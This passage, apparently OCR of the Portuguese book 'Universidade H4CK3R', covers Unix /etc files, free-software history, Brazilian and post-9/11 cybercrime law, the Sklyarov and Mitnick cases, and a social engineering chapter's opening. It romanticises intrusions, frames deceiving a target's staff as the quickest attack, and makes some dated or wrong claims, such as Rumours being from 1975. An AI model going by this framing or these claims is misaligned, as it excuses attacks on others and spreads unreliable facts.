em todos os Unix que estiverem mo, comparando-os entre si. No se atenha
apenas ao inittab: visite todos os arquivos indicados nele.
Outras gemas
O /etc encerra arquivos de configurao importantes, muitos deles de aspectos j
tratados neste captulo. No nosso objetivo ser uma fonte completa de informaes
sobre Unix - na verdade, este livro apenas arranha a superfcie. Mas uma pesquisa
mais aprofirndada no contedo do diretrio ser de grande valia para o leitor.
Como no h muito segredo em visualizar arquivos de texto, deixamos ao lei-
tor o nus de descobrir como e para que servem cada um dos arquivos presentes
no /etc.Abaixo h uma lista com os arquivos relevantes na maioria dos "sabores".
Interrompa a leitura do livro por uma semana e estude-os todos, consultando
sempre a pgina de manual (man nome_do_arquivo) associada. Alguns nomes
podem ser diferentes em seu Unix, mas o arquivo correspondente est l. Se o
arquivo indicar diretrios ou outros arquivos, visite-os e veja o que eles contm.
services
protocols
inetd.conf/xinetd.conf
crontab
profile
bashrc
cshrc
shrc
passwd/group/shadow
hosts
host.conf
1105 I
] Plataforma Unix
IUniversidade
resolv.conf
inittab
fstab (vfstab no Solaris)
mtab
ld.so.conf
netgroup
netmasks
termcap/printcap/screenrc
toda a estrutura abaixo de init.d
toda a estrutura abaixo de rc.d
toda a estrutura abaixo de sysconfig
Dica: em vez de cat, use para visualizar os arquivos o comando more, que
mostra uma pgina de vdeo por vez. Se o seu sistema possuir, use o 1ess ao
invs do more - com ele possvel retroceder a pginas anteriores.
omeu eu quero de flocos...
H vrios "sabores" comerciais de Unix, cada um deles com suas qualidades e
problemas - entre eles o preo. Como ento saber qual Unix o melhor para
voc? Esta uma pergunta dificil de ser respondida. Normalmente, o melhor
Unix o que voc j usa, ou o que voc est mais acostumado. Outras vezes o
melhor Unix o que j vem configurado de fbrica, s ligar e usar. Outras ainda
dependem do preo baixo. Como so produtos proprietrios, joga-se de acordo
com essas regras. Seu representante tcnico seu melhor amigo nessa hora.
Mash opes de sistemasUnixaquem chamamos de livres.Sosistemasoperacionais
parecidos com o Unix, mas cujo cdig~fonte aberto - qualquer um pode l-loe saber
como funciona. Sonormalmente mantidos por voluntrios ou empresas engajadasna
produo de um sistemaque seja independente de fornecedor.
Novamente, h vantagens e desvantagens. Dentr<.fas vantagens, existe a certeza
de que o produto no possui falhas - e se houver, voc mesmo pode corrigi-las.Mas
voc tem certeza de que elas no esto escondidas, um triste ato de m-f de algu-
mas empresas de tecnologia por a... Outra vantagem o alto grau de personalizao
que um sistema desses oferece. Sendo aberto, qualquer um pode modific-lo para
atender a seus interesses.
A desvantagem fica por conta dos paradigmas gerados pelo modelo tradicio-
nal de negcios, sendo garantia e suporte os mais comentados. Isso resolvido
em parte por empresas que vendem solues baseadas nesses sistemas, mas
ainda um mercado no consolidado e h muitos amadores solta. At que se
separe o joio do trigo, muitos tero perdido dinheiro com eles - e erradamente
colocaro a culpa no software.
1106 1
Plataforma Unix r
Universidade 1ano
Free as in free speech...
Nos primrdios da computao, no havia essa noo de software aberto ou
proprietrio porque todos os programas podiam ser livremente compartilha-
dos. Os usurios de informtica de ento eram quase todos cientistas, e o
compartilhamento de informaes algo trivial entre eles. O dinheiro do mer-
cado de informtica circulava apenas para as mos dos fabricantes de hardware.
Mas, medida que o tempo foi passando, apareceram empresas produtoras de
software destinado venda. Obviamente no era do interesse dessas empresas
que seus softwares fossem copiados e distribudos gratuitamente, portanto o
cdigo-fonte no era divulgado. Isso passou a ser comum a partir de ento.
Richard Stallman era um programador que trabalhava para uma empresa pri-
vada. Ocorre que escreveu um programa que achou realmente bom e quis
compartilh-lo com a comunidade Unix de ento - mas foi impedido pelo seu
empregador. Stallmann ficou to frustrado que radicalizou: pediu demisso e,
em 1984, criou um projeto - o GNU - e uma licena - a GPL.
O projeto GNUlO- GNU's Not Unix - uma tentativa de criar um clone dos
sistemas Unix que Stallmann usava, mas que no possuam nenhum cdigo origi-
nal da AT&T.J foram criadas diversas ferramentas para o sistema, incluindo as
de manipulao de arquivos (1s,cd, pwd, caL.), compiladores (gcc e g77, para C
e Fortran, respectivamente) e programas complexos como a linguagem de scripts
gawk e o editor de textos Emacs. O kemel, entretanto, nunca ficou pronto.
A licena GPL - General Public Licence ou Licena Pblica Geral - expressa-
mente permite a cpia e a distribuio gratuita do programa sob essa licena,
desde que os cdigos-fonte do programa sejam distribudos tambm. Isso per-
mite a reutilizao do cdigo por outras pessoas sem restries - a no ser a de
respeitar os direitos dos autores originais e nunca fechar o cdigo resultante,
impedindo que outros tenham acesso a ele.
Detalhes sobre o que Software Livre e o que Cdigo Aberto encheriam
todas as pginas deste livro. Nosso objetivo no versar sobre esse assunto.
Mais informaes podem ser obtidas no site oficial do projeto GNU
(www.gnu.org). da Free Software Foundation (www.fsf.org) e do Open Source
Initiative (www.opensource.org).
A dana dos pingins
Como vimos, o projeto GNU empacou no desenvolvimento de seu prprio
keme1. Nesse meio tempo, um finlands maluco chamado Linus Torvalds criava
um kernel que seria um fenmeno mundial: o Linux. Inicialmente apenas um
sistema de comunicao com um BBS, o prottipo rapidamente evoluiu para
10 Depois do GNU, virou moda criar programas cujos nomes sejam siglas recorrentes. O smbolo do
projeto GNU um animal encontrado na frica e parecido com um biso, cujo nome ... Gnu.
1107 I
] Plataforma Unix
IUniversidade H4CK3RI
um kerne1 completo. Em 1991,Torvalds decidiu colocar o Linux sobre a licena
GPL e usar as ferramentas GNU com seu kernel. por isso que os preciosistas
do mundo da computao (eu me incluo neste grupo!) referem-se ao sistema
como GNU/Linux - seria injusto com o Sr. Stallman se no fosse assim.
O Linux hoje um Unix-clone de baixssimo custo e altssimo desempenho. Pro-
jetado inicialmente para o lliM-PC,roda em vrias plataformas de hardware com o
mesmo cdigo e funcionalidade - feito ainda no alcanado por nenhum outro
sistema operacional.
O problema do Linux sua triste falta de padres. Existem centenas de distribui-
es ao redor do globo, cada uma com uma estrutura interna - incluindo hierar-
quia de diretrios - prpria. Como frisamos no incio do captulo, a base dos Unix
seu sistema de arquivos. Isso resulta em sistemas que, apesar de possurem o.
mesmo kernel, so incompatveis entre si. O padro Linux Standard Base ou LSB
(www.linuxbase.org) um esforo das maiores distribuies do mundo para resol-
ver o problema. Acredita-se que em poucos anos haja compatibilidade total entre
todas as distribuies que aderirem ao padro.
Para saber mais sobre o GNU/Linux, o melhor ponto de partida o site oficial,
www.linux.org. Para mais informaes, basta procurar por ele em seu mecanis-
mo de busca favorito. O Google possui um endereo dedicado a Linux em
www.google.com/linux. H revistas especializadas que podem ser consultadas,
entre elas a Revista do linux, a Arquivo linux, a linux BR, e muitos bons livros
podem ser encontrados em livrarias. Mas no deixe de estud-lo. obrigatrio!
o diabinhoque ri...
Linux no suficiente pra voc? Quer saber uma segunda opinio? Experimeite
as variantes livres do Unix da Universidade de Berkeley. Com suas licenas me-
nos restritivas que a GPL,os sistemas *BSDpodem ser usados em solues que a
licena do GNU/Linux no permitiria. Cada um tem suas caractersticas, e uma
leitura em seus sites oficiais certamente o deixar tentado a experiment-Ios.
Muitos usurios dos *BSD(especialmente do FreeBSD) saram do Linux e dizem
que no voltam mais. Informaes sobre o BSDpodem ser obtidas em:
~ FreeBSD - www.freebsd.org
~ OpenBSD - WWTv.openbsd.org
~ NetBSD - www.netbsd.org
~ O BSDcomercial da BSDi - www.bsdi.com
1108 I
Plataforma Unix[
Universidade 1ano
Vou can go on your own way...11
Nestas poucas pginas, tentamos introduzir os princpais conceitos dos siste-
mas Unix. H livros inteiros escritos apenas sobre partes do Unix, portanto,
seria imprudente (e desonesto) tentar condensar em um captulo o contedo
de vrios deles.
Mas muito importante que o leitor estude sobre Unix com afinco e procure
outros livros e outras fontes. Visite regularmente todos os sites indicados ao
longo do captulo e vasculhe-os completamente. Nada to poderoso na mo
de um hacker quanto uma conta em um computador Unix ligado Internet.
11 Fleetwood Mac, do lbum Rumours de 1975.
1109I
] Plataforma Unix
Fundamentos
Jurdicos
Captulo
'An nescis longas regibus esse manus ?"I
Ovdio,em Herodes, 17:166
1 No sabes como as mos dos reis so compridas? Um ditado popular francs Oes rois ont
les bras longs - os reis tm os braos longos) derivado desse trecho das Herodes.
IUniversidade H4CK3RI
Se voc est lidando com situaes-limite, nunca demais ter uma viso geral
dos aspectos jurdicos que as afetam diretamente. Poucas situaes so to
limtrofes quanto as enfrentadas pelos usurios de informtica em geral e pelos
hackersl em especial. O que crime? O que direito? O conhecimento uma das
principais armas do hacker, que deve estar atento aos movimentos feitos pelos
governos e s polticas institudas pelas empresas quanto manipulao de da-
dos. A ignorncia em relao s leis pode trazer srios problemas, mesmo em
casos simples em que o usurio age de forma inocente sem saber que est come-
tendo um crime. Estar atento aos casos que j ocorreram, para que no haja
nenhuma dvida de onde e como agir, no mnimo uma atitude sbia.
A palavra legislao nos d uma vaga idia de estar lidando com o bem e o mal. H
uma grande discusso sobre a relatividade desses conceitos, mas devemos ter em men-
te que a tica que rege o possvel contedo dessasleis parte da necessidade de prote-
o das empresas e dos governos. Nem sempre as leis so feitas para o cidado, nem
sempre o que legal moralmente correto. Portanto, os indivduos que a imprensa
simplria costuma chamar de hackers nem sempre podem ser tachados de bandidos,
embora, segundo a lei, geralmente incomun em crimes por ela previstos. Robin Hood
era criminoso, mesmo agindo segundo princpios morais extremamente elevados.
As grandes estratgias para o combate aos cibercrimes comearam a ser
elaboradas aps os atentados terroristas ocorridos nos Estados Unidos no dia
11 de setembro de 2001. Desde ento o governo norte-americano passou a
ditar o destino de hackers e crackers pelo mundo, exigindo de todos os outros
governos leis que facilitem a ingerncia dos Estados Unidos nesses assuntos; e,
"de quebra", em todos os outros...
Por que a sociedade teme os hackers?
Para a sociedade, a imagem dos hackers est intimamente ligada ao crime.
Esse esteretipo vem da falta de compreenso do universo digital em que esto
inseridos. Eles so vistos como destruidores e ladres de dados, que se utilizam
de meios ilcitos para roubo, vandalismo ou lavagem de dinheiro.
Muito dessa imagem fruto da divulgao mope promovida pelos meios de
comunicao. Nunca o outro lado, o lado do underground, o lado da guerrilha, o
lado da resistncia, levado em conta. Apenas as empresas e os governos, al-
guns deles autoritrios (embora travestidos de democrticos), tm espao na
mdia quando um evento desses acontece.
A pergunta que fica : voc realmente acredita em tudo o que l? Talvez o
jornal televisivo das 21h no seja aquela fonte confivel de informao que
voc est acostumado a pensar que era.
2 Fntendaapalavrahacker nessepargrafo tanto em seusenddo origimJl (especiaJista)como no popular (especia1ista
malvado). Ambos devem saber at onde podem ir, e deddir se vo tr.msgredir ou no os (nem sempre justos ou
moralmente corretos) limites legais.
1112I
Fundamentos Jurdicos [
Universidade 1ano
As liberdades individuais e o
direito privado
Ningum tem direito de invadir a privacidade das pessoas. Mesmo parecen-
do bvio, afirmaes como essas tm de ser includas em qualquer documento
ou lei que trate das garantias de inviolabilidade privada. As constituies de
quase todos os pases possuem algum dispositivo semelhante, e mesmo a De-
clarao Universal dos Direitos Humanos prev a proteo vida pessoal e
privada das pessoas j em seus primeiros pargrafos.
O que tristemente vemos acontecer todos os dias, desde o fim da 23 Guerra
Mundial, um recrudescimento das leis nacionais buscando um maior controle
dos governos sobre seus cidados. Todos os dias, desde ento, novas tecnologias
so aplicadas em controversos e arbitrrios sistemas de monitorao. Com a
desculpa de que "a polcia precisa fazer seu trabalho", muitas pessoas durante
todo o sculo XX tiveram seus telefones grampeados, suas correspondncias
violadas, seus passos seguidos e, nos anos 90, sua atividade na Internet vigiada.
Quantos segredos pessoais - mesmo no sendo crimes - no foram revelados
publicamente por conta dessa arbitrariedade?
Alguns pases comearam a chamar para si a responsabilidade de ser a "pol-
cia do mundo" e, para tanto, at hoje submetem outros governos menos podero-
sos s suas polticas. Fingindo estar caa de terroristas ou de proteger o
mundo contra indivduos perigosos (e jogando num mesmo caldeiro hackers,
terroristas, guerrilheiros e comunistas - quem no se lembra da guerra fria?),
naes poderosas violam a soberania de pases e impem suas cartilhas comer-
ciais e polticas. Bela maneira de disfarar segundas intenes, no mesmo?
Longe de entrar nessa discusso poltica, os autores querem chamar a ateno
do leitor para o perigo incipiente da aprovao de leis ou mesmo constitues
elaboradas para proteger os interesses de terceiros e no dos cidados. Pergun-
te a um advogado sobre o assunto. Voc ficar surpreso com a quantidade de
garantias que empresas estrangeiras possuem aqui no Brasil em detrimento das
necessidades bsicas dos cidados, sempre deixadas em segundo plano.
Toda moeda tem dois lados. H hackers agindo com conduta duvidosa. H
gente muito bem treinada bisbilhotando seus segredos em casa ou no trabalho.
H vndalos que fazem tudo pelo prazer de destruir. Assim como h governos
e empresas com intenes no muito nobres, h hackers (e no so poucos)
que so, realmente, criminosos e devem ser punidos por isso. Fazer leis que
protejam indivduos e entidades pblicas e privadas desses "hackers do mal"
sem ferir os direitos de privacidade das pessoas uma tarefa dificlima.
1113 1
]Fundamentos Jurdicos
I Universidade H4CK3R !
o direito informaoe os ataques
liberdade
J que no podemos confiar em governos e suas leis, por que ento disparar flechas
acusadoras sobre pessoas que o establishment considera como criminosas? Usando o
bom senso3 , qualquer um na rua perceberia que uma pessoa como Dmitry Sklyarovno
teve a inteno de prejudicar uma empresa como aAdobe, mas sim alertar os possveis
usurios e a prpria Adobe que seu sistema de criptografia era (e ainda ) fulho. Mas a
empresa no entendeu dessa forma, e usou os dispositivos legais previstos pelo Digital
Millenium Copyright Act, o fmigerado DMCA, para process-lo.
Esse um dos muitos casos de leis injustas ou malidosas que trabalham em favor de
governos ou grandes empresas e contra o interesse comum. hnagine empresas e indivdu-
os confiando cegamente na criptografia da Adobe para proteger seus documentos, se-
jam eles segredos industriais ou correspondndas amorosas. Com esse processo contra
o hacker russo, a Adobe tentou varrer para debaixo do tapete os problemas de sua
tecnologia, em vez de agradecer a Sklyarov ou mesmo contrat-Io para melhor-Ia.
Alguns meses depois, todos os sites de noridas de tecnologia divulgaram a tentativa da
Microsoft de transformar em crime a divulgao de f.1hasde software por "agentes no
autorizados" (leia-se:eu e voc). Com o pretexto de que as divulagaes de f.1has"atrapa-
lham a inovao", tentativas como essas procuram institudonalizar a sujeira sob o tapete.
Tal iniciativa, na poca, no resultou em uma lei. Mas no espere que a turma de
Redmond tenha desistido da idia.
No s as empresas so beneficiadas por essas aberraes legais. A atual administrao
federal dos Fstados Unidos da Amrica divulgou um documento chamado de Doutrina
Bush, que escancara a supremacia norte-americana e fere de fonna pornogrfica os direitos
de ddados no mundo todo e as soberanias de todos os pases do globo.
Todos os governos e a maioria das grandes empresas manipulam ou escondem infor-
maes e criam leis para tornar isso legal, mesmo que as informaes sejam sobre voc,
caro leitor, ou o afetem de alguma forma. Portanto, na prxima vez em que um hacker
invadir um site do governo ou empresa e divulgar informaes escabrosas sobre a admi-
nistrao que voc pode ter ajudado a eleger, reflita bastante e use o seu bom senso (e
no o senso comum) para decidir quem o mocinho e quem o bandido.
Mas e os hackers realmente maus? Eas situaes no- previstas?Eos hackers "por adden-
te"?Toda histria tem dois lados,e o moralmente correto nem sempre o que est dentro da
lei. Mas algumas vezes est."No julgueis, para que no sejais julgados. Pois com o critrio
com que ju1gardes,sereis julgados... Portanto, tudo quanto, pois, quereis que os homens
vos faam, assim fazei~ vs tambm a eles..:' (Evangelho de So Mateus 7:1,2,12).
3 Na escolinha de ingls aprendemos que anossa expresso "bom senso"rraduz-6e como "common sense"em ingls.Numa lraduio literal,
o common sensedosnorte-americanos pode serescrito como senso comumA dikrena entre ambas asronnas,enrretanto,no apenas literal.
Os povos latinos, europeus, ali'icanos e asiticos tm essa noio de bom senso: mdocina.t primeiro at encontrar" uma soluio lgica, usando
asabedoria popular. J o common sense tem uma conotao dikrente:usaras convenes jprontas presentesna cultura estadunidense,sem
"pararpaIa pensar".Portanto, bom senso igual apensatantes de agir. J common sense sinnimo de idia pr<:oncebida...
1114 1
Fundamentos Jurdicos r
Universidade 1ano
A legislao brasileira
o grande tnrnfo dos hackers brasileiros a falta de legislao apropriada para
lidar com os crimes eletrnicos. A falta de leis especficas torna o Brasil run verda-
deiro paraso para todo o tipo de invaso e manipulao ilcita de dados. As puni-
es aplicadas so baseadas em leis que se aproximam da situao do crime eletr-
nico. Grande parte dos casos resolvidos pelas autoridades nacionais relativa a
casos de pirataria e pedoftlia, e no invaso e "hackeamento" de sistemas.
A falta de proteo legal preocupa muito o governo e as grandes empresas,
pois estas so obrigadas a gastar quantias elevadas de dinheiro com softwares
e equipamentos para garantir a segurana de seus dados, e mesmo assim no
conseguem evitar a ao dos vndalos digitais.
Preocupados com a situao, vrios deputados formularam projetos de lei
para deter a ao dos invasores. Mas devido ao lento processo de aprovao,
total ignorncia dos parlamentares em relao ao assunto e s diversas corre-
es e alteraes que devem ser feitas at que tudo esteja adequado, os hackers
podem continuar utilizando suas habilidades para continuar suas pesquisas. A
seguir, temos run trecho especfico do projeto de lei criado pelo deputado D-
cio Braga que trata dos crimes de informtica:
"Dispe sobre os crimes de informtica e d outras providncias"
CAPiTULO III
DOS CRIMES DE INFORMTICA
Dano a dado ou programa de computador
Art. 8.Apagar,destruir,modiflcar ou de qualquer forma inutilizar, total ou parci-
almente, dado ou programa de computador, de forma indevida ou no autorizada.
Pena: deteno de um a trs anos e multa.
Pargrafo nico. Se o crime cometido:
I - contra o interesse da Unio, Estado, Distrito Federal, Municpio, rgo ou
entidade da administrao direta ou indireta ou de empresa concessionria de
servios pblicos;
11- com considervel prejuzo para a vtima;
m - com intuito de lucro ou vantagem de qualquer espcie, prpria ou de terceiro;
IV - com abuso de confiana;
V - por motivo ftil;
W- com o uso indevido de senha ou processo de identificao de terceiro; ou
WI - com a utilizao de qualquer outro meio fraudulento.
Pena: deteno de dois a quatro anos e multa.
Acesso indevido ou no autorizado
Art. 9. Obter acesso, indevido ou no autorizado, a computador ou rede de
computadores.
1115 1
I Fundamentos Jurdicos
I Universidade H4CK3R I
Pena: deteno de seis meses a um ano e mu1ta.
Pargrafo primeiro. Na mesma pena incorre quem, sem autorizao ou
indevidamente, obtm, mantm ou fornece a terceiro qualquer meio de identi-
ficao ou acesso a computador ou rede de computadores.
Pargrafo segundo. Se o crime cometido:
I - com acesso a computador ou rede de computadores da Unio, Estado,
Distrito Federal, Municpio, rgo ou entidade da administrao direta ou indi-
reta ou de empresa concessionria de servios pblicos;
II - com considervel prejuzo para a vtima;
111- com intuito de lucro ou vantagem de qualquer espcie, prpria ou de
terceiro;
IV - com abuso de confiana;
V - por motivo ftil;
W - com o uso indevido de senha ou processo de identiflcao de terceiro; ou
WI - com a utilizao de qualquer outro meio fraudulento.
Pena: deteno de um a dois anos e multa.
Alterao de senha ou mecanismo de acesso a programa de computador ou
dados
Art. 10. Apagar, destruir, alterar, ou de qualquer forma inutilizar, senha ou
qualquer outro mecanismo de acesso a computador, programa de computador
ou dados, de forma indevida ou no autorizada.
Pena: deteno de um a dois anos e multa.
Obteno indevida ou no autorizada de dado ou instmo de computador
Art. 11. Obter, manter ou fornecer, sem autorizao ou indevidamente, dado
ou instruo de computador.
Pena: deteno de trs meses a um ano e mu1ta.
Pargrafo nico. Se o crime cometido:
I - com acesso a computador ou rede de computadores da Unio, Estado,
Distrito Federal, Municpio, rgo ou entidade da administrao direta ou indi-
reta ou de empresa concessionria de servios pblicos;
11- com considervel prejuzo para a vtima;
111- com intuito de lucro ou vantagem de qualquer espcie, prpria ou de
terceiro;
IV - com abuso de confiana;
V - por motivo ftil;
W - com o uso indevido de senha ou processo de identiflcao de terceiro; ou
WI - com a utilizao de qualquer outro meio fraudu1ento.
Pena: deteno de um a dois anos e mu1ta.
1116I
FundamentosJurdicos[
Universidade 1ano
Violao de segredo armazenado em computador, meio magntico de
natureza magntica, ptica ou similar.
Art. 12. Obter segredos, de indstria ou comrcio, ou informaes pessoais
armazenadas em computador, rede de computadores, meio eletrnico de natu-
reza magntica, ptica ou similar, de forma indevida ou no autorizada.
Pena: deteno de um a trs anos e multa.
Criao, desenvolvimento ou insero em computador de dados ou pro-
grama de computador com fins nocivos
Art. 13. Criar,desenvolver ou inserir, dado ou programa em computador ou
rede de computadores, de forma indevida ou no autorizada, com a fmalidade
de apagar, destruir, inutilizar ou modiflcar dado ou programa de computador
ou de qualquer forma diflcultar ou impossibilitar, total ou parcialmente, a uti-
lizao de computador ou rede de computadores.
Pena: recluso de um a quatro anos e multa.
Pargrafo nico. Se o crime cometido:
I - contra interesse da Unio, Estado, Distrito Federal, Municpio, rgo ou
entidade da administrao direta ou indireta ou de empresa concessionria de
servios pblicos;
11- com considervel prejuzo para a vtima;
III - com intuito de lucro ou vantagem de qualquer espcie, prpria ou de
terceiro;
IV - com abuso de confiana;
V - por motivo ftil;
VI- com o uso indevido de senha ou processo de identiflcao de terceiro; ou
VII - com a utilizao de qualquer outro meio fraudulento.
Pena: recluso de dois a seis anos e multa.
Veiculao de pornografia atravs de rede de computadores
Art. 14. Oferecer servio ou informao de carter pornogrfico, em rede de
computadores, sem exibir, previamente, de forma facilmente visvel e destaca-
da, aviso sobre sua natureza, indicando o seu contedo e a inadequao para
criana ou adolescentes.
Pena: deteno de um a trs anos e multa.
Como podemos notar, o projeto abrangente, lidando com assuntos que vo
desde invases at a criao de vrus e programas que possam danificar dados
alheios. Com certeza, a "nao hacker" teria a maioria dos seus atos coibida
caso a lei estivesse em vigor. Mas, alm do processo de aprovao da lei, o gover-
no tem de prover condies para que elas sejam executadas.
1117I
]Fundamentos Jurdicos
IUniversidade
Leis internacionais aps o dia 11de
setembro de 2001
Nos Estados Unidos da Amrica
Aps o fatdico dia 11 de setembro de 2001, caracterizado pelos atentados ao
WorldTrade Center e pentgono, muita coisa mudou em relao vida dos hackers
no mbito internacional. No mesmo dia em que os avies derrubaram as torres
do WTC, os agentes do FBI j intimavam os maiores provedores de acesso a
instalarem o software Carnivore, conhecido pela sua capacidade de ftltrar men-
sagens de e-mail em busca de palavras e expresses relacionadas ao atentado.
Alm disso, o governo americano diminuiu os entraves judiciais para o
uso de escutas telefnicas, eliminou a necessidade de provas e at revogou
a lei que proibia a CIA de organizar assassinatos contra inimigos externos.
Estudos realizados pelo Pentgono sobre o ciberterrorismo mostraram que
ataques de crackers poderiam parar o pas, j que os reservatrios de gua,
energia eltrica e gs so controlados por centros de computao que po-
dem ser invadidos remotamente de maneira ridiculamente fcil.
Uma das leis criadas pelo departamento foi a USAAct, que possui uma
seo especial voltada para o ciberterrorismo. O USA Act prev punio
para toda forma de vandalismo eletrnico que possa atingir empresas e
cidados, incluindo invases vindas de outros pases. Isso significa que, se
rastreado, o invasor ser punido de acordo com as leis internacionais.
Com as novas leis e medidas americanas, os legisladores americanos transfor-
maram milhares de crackers e hackers em terroristas por definio. Um dos
pargrafos da PATRIOT (provide Appropriate Tools Required to Intercept and
Obstruct Terrorism Act) diz o seguinte: aquele que, com conhecimento, cause
transmisso de um programa, informao, cdigo ou comando e, como resultado
de tal conduta, intencionalmente cause dano sem autorizao, para um computa-
dor protegido [estar em violao deste estatuto]. Isso significa que, como foi
dito antes, hackers viraram terroristas para os americanos. Como se j no fosse
suficiente, ser considerado terrorista praticamente significa priso perptua.
Est em elaborao um conjunto de novas leis (na verdade a ratificao
legal da Doutrina Bush) chamado de Homeland Security Act, que promete
endurecer o cerco aos inimigos dos Estados Unidos em todas as frentes: mi-
litar, comercial, armamentista, poltica e digital. Espere para ver em breve
aes paramilitares norte-americanas em outros pases visando prender ou
assassinar pessoas acusadas de hackerismo.
Alei americana pode funcionar como um modelo para definir os padres mundi-
ais que so discutidos anualmente pela Interpol, que criou uma diviso especial, a
Unidade de Crimes de AltaTecnologia, para combater os crimes eletrnicos.
1118 I
FundamentosJurdicos[
Universidade 1ano
Na Europa
A maior parte dos grupos europeus tomou medidas semelhantes s dos Esta-
dos Unidos. Todas baseadas no rastreamento de informaes pessoais sem qual-
quer aviso prvio, dando poder aos seus agentes de vasculhar as caixas de men-
sagens de qualquer provedor. A adoo do padro norte-americano mostra mais
uma vez que o mundo est prximo de estabelecer uma forte estratgia de com-
bate aos cibercrimes, o que vai prejudicar muito a ao dos vndalos digitais.
Como efeito colateral, ferir tambm alguns direitos e a privacidade de cidados
reconhecidamente inocentes ("Mate todos! Um deles terrorista...").
Casosde hackers famosos
Para o governo eles so criminosos. Para a nao hacker, heris. Vamos apre-
sentar dois dos casos mais conhecidos de aplicao de leis contra os crimes
eletrnicos. Dmitry Sklayrov e Kevin Mitnick so dois timos exemplos de como
as leis internacionais relacionadas invaso, hackeamento de software e utiliza-
o de engenharia social so aplicadas na realidade.
o russo que "hackeou" a Adobe
o programador russo Dmitry Sklayrov foi acusado de comercializar uma
ferramenta que quebra as medidas de segurana do programa Adobe Book
Reader logo aps dar uma palestra sobre segurana na DefCon em julho de
2001. O Advanced eBook Processor pode quebrar a senha de segurana criada
pela Adobe, transformando um e-book criptografado em um simples PDF. Ele
foi enquadrado na lei que visa a proteo do direito intelectual para os produ-
tos digitais, o Digital Millenium Copyright Act, dispositivo horrendo e nazista
mais conhecido como DMCA.
A parte mais estranha que a prpria Adobe decidiu retirar as acusaes. As
crticas internacionais e as ameaas de boicote foram os principais motivos que
fizeram com que a empresa fizesse uma reviso de conscincia. Apesar disso, a
situao de Dmitry no melhorou em nada, pois o governo americano no reti-
rou as acusaes.
Aps pagar uma multa de US$ 50 mil e ficar detido na Califrnia por cinco
meses, o russo obteve a liberdade por meio de um acordo em que apoiaria o
governo norte-americano. A condio imposta foi a de ficar sob observao
durante um ano, e s ento ele seria absolvido completamente.
1119 1
I Fundamentos Jurdicos
IUniversidade H4CK3RI
o hacker mais famoso do mundo
Um dos maiores dolos da nao hacker. A histria de Kevin Mitnick com
certeza daria material para uma verdadeira enciclopdia. Em 1989 foi procura-
do pelo FBI acusado de roubar um software secreto de pesquisa da Digital
Equipment Corpo E a Corte norte-americana decretou que o hacker seria preso
sem direito fiana. A Corte justificou dizendo que ele representava uma ame-
aa comunidade e mesmo segurana nacional ao utilizar um teclado.
Aps um ano de priso, Mitnick foi posto em liberdade, mas em pouco tempo j
estava violando os termos de sua condicional. Em 1992 era suspeito de ter
crackeado sistemas de informtica e obter acesso aos registros do FBI.Emnovem-
bro do mesmo ano, Mitnick desapareceu misteriosamente sem deixar rastros. As
autoridades achavam que ele estaria usando falsas identidades para se esconder.
Em 1994, o hacker se deparou com o especialista em segurana Tsutomu
Shimomura, do Centro Nacional de Supercomputao, em San Diego, na
Califrnia. Ele havia alterado o sistema pessoal de Shimomura, que ficou indig-
nado, pois se considerava um dos melhores especialistas em segurana do pas.
Mitnick ganhou acesso por meio de um computador da Loyola University, de
Chicago, autorizado a mandar informaes para a mquina do especialista. A
partir desse ponto, foi armado um esquema em conjunto com o FBI para en-
contrar o hacker. Shimomura instalou um computador para monitorar todas
as aes realizadas em seu prprio equipamento.
Mitnick no fazia idia da operao montada e continuou com os ataques. No
dia 15 de fevereiro de 1995, foi localizado. Ele passou cinco anos na cadeia
aps invadir empresas como a Motorola e a Nokia. Durante esse tempo uma
legio de fs lutou por sua liberdade, organizando movimentos como o Free
Mitnick. Ele ainda sofreu 23 acusaes federais de fraude no sistema telefnico
por uso ilegal de componentes de acesso para evitar tarifas, alm de ser consi-
derado como "terrorista da informtica" pelo governo americano.
1120 I
Fundamentos Jurdicos r
Engenharia
8
Gela
Captulo
For hard cash we wil! fie and deceive.
And even our masters don 't know the
webs we weave "7
Pink Floyd,"Dogs of War"
1 "Por dinheiro g-rosso nos InentireulOs e eng-anareInos. /
E nem nossos Inestres sabeuJ das teiasque teceIIlos ':
Do tilbum A Momentary Lapse of Ileason,1987
I Universidade H4CK3R I
Este captulo bem curto, se comparado com os outros, menos tcnicos. Tam-
bm aparentemente o mais distante do que se espera de um livro como este.
Mas no se engane: as informaes aqui contidas so as mais importantes de
todo o livro. Um ataque muito complicado pode se transformar em algo
simplssimo, caso a engenharia social seja empregada. Portanto, antes de que-
brar a cabea com solues puramente tecnolgicas, pense primeiro que enga-
nar o alvo e faz-Iotrabalhar para voc pelo lado de dentro muito mais rpido.
O objetivo das tcnicas aqui apresentadas a aquisio de informaes vitais
sobre o alvo escolhido. Por informaes vitais, alm das bvias como dados fman-
ceiros, pessoais e hierrquicos, entende-se as idiossincrasias tcnicas e polticas
da empresa: instalaes fisicas e lgicas, topologias de rede, polticas de senhas e
chaves de criptografia.
O termo engenharia social pode parecer num primeiro momento algo distante
do universo hacker. Basicamente, significa a "garimpagem" de informaes vitais
sobre uma determinada pessoa, empresa, produto ou organizao. Essas informa-
es so provenientes quase sempre de pessoas prximas ao indivduo a ser ata-
cado ou do prprio quadro de funcionrios e clientes - no caso de empresas.
Dessa forma, podemos encarar o termo como sinnimo de espionagem, que utili-
za tticas que vo desde cartas e telefonemas, passando por pesquisas nos dep-
sitos de lixo at a abordagem pessoal.
As tcnicas de engenharia social exigem uma preparao psicolgica profunda
e contnua. O candidato a invasor deve estar pronto para estudar o comporta-
mento do seu alvo e entender melhor seu modus operandi, incluindo at o
monitoramento de horrios. Mesmo com investimentos pesados na rea de segu-
rana, grande parte das empresas (seno todas) no est preparada para lidar
com esse fator. Lembre-se de que o espio usar a boa vontade, a cortesia, a inge-
nuidade das pessoas e mesmo as normas da empresa para enganar as vtimas.
Atenco: isso crime!
I
O mundo da engenharia social parece ser algo muito tentador. Mas, diferente
dos crimes digitais, que no possuem uma legislao bem definida no pas, to-
das as tcnicas citadas so consideradas crimes passveis de punio, que vo
desde o pagamento de multas at a deteno. A interpretao legal baseia-se na
configurao dos atos de engenharia social como falsidade ideolgica, caracte-
rizada pela incorporao de uma identidade alheia (impostura) seguida de fraude.
Dependendo do destino dado s informaes recebidas (por exemplo, em caso
de fraude financeira), o invasor responder tambm pelo crime de estelionato.
O propsito deste captulo demonstrar superficialmente as tcnicas utiliza-
das na engenharia social. importante que todos conheam essas tcnicas, mas
no recomendamos a ningum utiliz-Ias: pelas leis brasileiras e da maioria dos
pases elas so consideradas prticas criminosas, com punies bem severas.
11241
EngenhariaSocial[
